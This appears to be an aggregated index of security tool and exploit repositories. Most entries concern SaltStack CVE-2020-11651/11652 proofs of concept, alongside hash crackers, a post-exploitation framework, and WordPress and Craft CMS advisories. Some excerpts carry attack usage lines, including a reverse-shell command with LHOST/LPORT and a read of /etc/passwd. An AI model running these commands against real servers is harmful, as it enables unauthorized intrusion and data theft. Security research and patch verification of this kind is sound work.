DEScrypt-CPU-Collision-Cracker

DEScrypt-CPU-Collision-Cracker What is DEScrypt-CPU-Collision-Cracker? A linux based high performance DEScrypt CPU cracker written in c++, it deduces the salt and uses a password list to crack hashes. Why not use a rainbow table? DEScrypt uses by default a two byte saltcomprised of characters...

mose

MOSE Master Of SErvers Copyright 2020 National Technology & Engineering Solutions of Sandia, LLC NTESS. Under the terms of Contract DE-NA0003525 with NTESS, the U.S. Government retains certain rights in this software MOSE is a post-exploitation tool that helps security professionals leverage...

salt

Welcome to salt , a tool to reverse and learn kernel heap memory management. It can be useful to develop an exploit, to debug your own kernel code, and, more importantly, to play with the kernel heap allocations and learn its inner workings. This tool helps tracing allocations and the current sta...

Dagon

Dagon - Advanced Hash Manipulation Named after the prince of Hell, Dagon day-gone is an advanced hash cracking and manipulation system, capable of bruteforcing multiple hash types, creating bruteforce dictionaries, automatic hashing algorithm verification, random salt generation from Unicode to...

iOSRestrictionBruteForce

iOS Restriction Passcode Brute Force Overview This version of the application is written in Python, which is used to crack the restriction passcode of an iPhone/iPad takes advantage of a flaw in unencrypted backups allowing the hash and salt to be discovered. DEPENDENCIES This has been tested wit...

CVE-2020-11651

CVE-2020-11651 An issue was discovered in SaltStack Salt before 2019.2.4 and 3000 before 3000.2. The salt-master process ClearFuncs class does not properly validate method calls. This allows a remote user to access some methods without authentication. These methods can be used to retrieve user...

SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read /etc/passwd...

CVE-2020-11651

CVE-2020-11651 PoC for CVE-2020-11651 Requires Python3 tested on 3.8 python3.8 -m pip install pyzmq msgpack ⇒ python3.8 poc.py -h usage: poc.py -h -p PORT -c CMD -k -m -r READ -w WRITE -f FILE server server ... Exploit CVE-2020-11651 positional arguments: server Target Server IP or Host optional...

WordPress Redux Framework <=4.2.11 - Information Disclosure

WordPress Redux Framework plugin through 4.2.11 is susceptible to information disclosure. The plugin registers several unique AJAX actions available to unauthenticated users in the includes function in redux-core/class-redux-core.php. These are predictable, given that they are based on an md5 has...

Newfold WordPress Plugins - Unauthenticated Admin Bypass via Empty HMAC Secret

Newfold Digital WordPress plugins bundling wp-module-data =2.9.4 allow unauthenticated attackers to forge a valid Bearer token and gain WordPress administrator access. The authenticate method hooked on restauthenticationerrors computes: token = sha256sha256wpjsonencodemethod,url,body,timestamp +...

CVE-2020-11651

CVE-2020-11651 PoC for CVE-2020-11651 Requires Python3 tested on 3.8 python3.8 -m pip install pyzmq msgpack ⇒ python3.8 poc.py -h usage: poc.py -h -p PORT -c CMD -k -m -r READ -w WRITE -f FILE server server ... Exploit CVE-2020-11651 positional arguments: server Target Server IP or Host optional...

craftcms-vcard-exploit

Craft CMS vCard Plugin Deserialization Vulnerability Craft CMS has a plugin for downloading contacts in a .vcf file format titled "vCard". The plugin can be reviewed in Craft's repository and Github: Craft Plugin Store Github Description This plugin takes a parameter sent by the client, decrypts...

salt-shellshock

====================== shellshock bash update This recipe tries to upgrade bash from OS pkg, and falls back to compile bash on systems with no update available. Works for us on old ubuntu/debian. Bash install script from:...

CVE-2020-11651-poc

PoC exploit for CVE-2020-11651 and CVE-2020-11652 This is a proof of concept exploit based on the initial check script. Use it to verify you have successfully updated your Salt master servers to a release containing the required fixes. Thanks for F-Secure Labs for their research and reporting...

CVE-2020-11652-POC

CVE-2020-11652-CVE-2020-11652-POC This is a fix POC CVE-2020-11651 & CVE-2020-11651 Original version: https://github.com/Al1ex/CVE-2020-11652 Error Fixed: TransportWarning: Unclosed transport! pip3 install salt RCE python3 CVE-2020-11652.py --master --port --exec-choose master --exec-cmd 'whoami'...

salt-vulnerabilities

Salt Stack Profile This profile will check to make sure your salt installation is patched to a level that protects you from CVE-2020-11651, and CVE-2020-11652. It does so by checking to ensure the packages salt-api, salt-cloud, salt-master, salt-minion, salt-ssh, salt-syndic, and salt are either...

CVE-2020-28243

CVE-2020-28243 A command injection vulnerability in SaltStack's Salt allows for privilege escalation via specially crafted process names on a minion when the master calls restartcheck. For a full writeup please see this blog post Affected Versions: All versions between 2016.3.0rc2 and 3002.2 Link...

CVE-2019-9053-python3-remastered

CVE-2019-9053-python3-remastered The script has been remastered by Teymur Novruzov to ensure compatibility with Python 3. This tool is intended for educational purposes only. Unauthorized use of this tool on any system or network without permission is illegal. The author is not responsible for an...

CLEANSTART-2024-CS44333 issue was discovered in SaltStack Salt before 2019

Security vulnerability affects the salt package. An issue was discovered in SaltStack Salt before 2019...

cve-2020-11651

CVE-2020-11651 This is a POC for CVE-2020-11651, which obtains pre-auth RCE on a salt stack master, and/or all the associated minions. Some light details on the issue are here. POC for 2020-11652 not included. This obtains command execution on the master by creating a runner of salt.cmd with...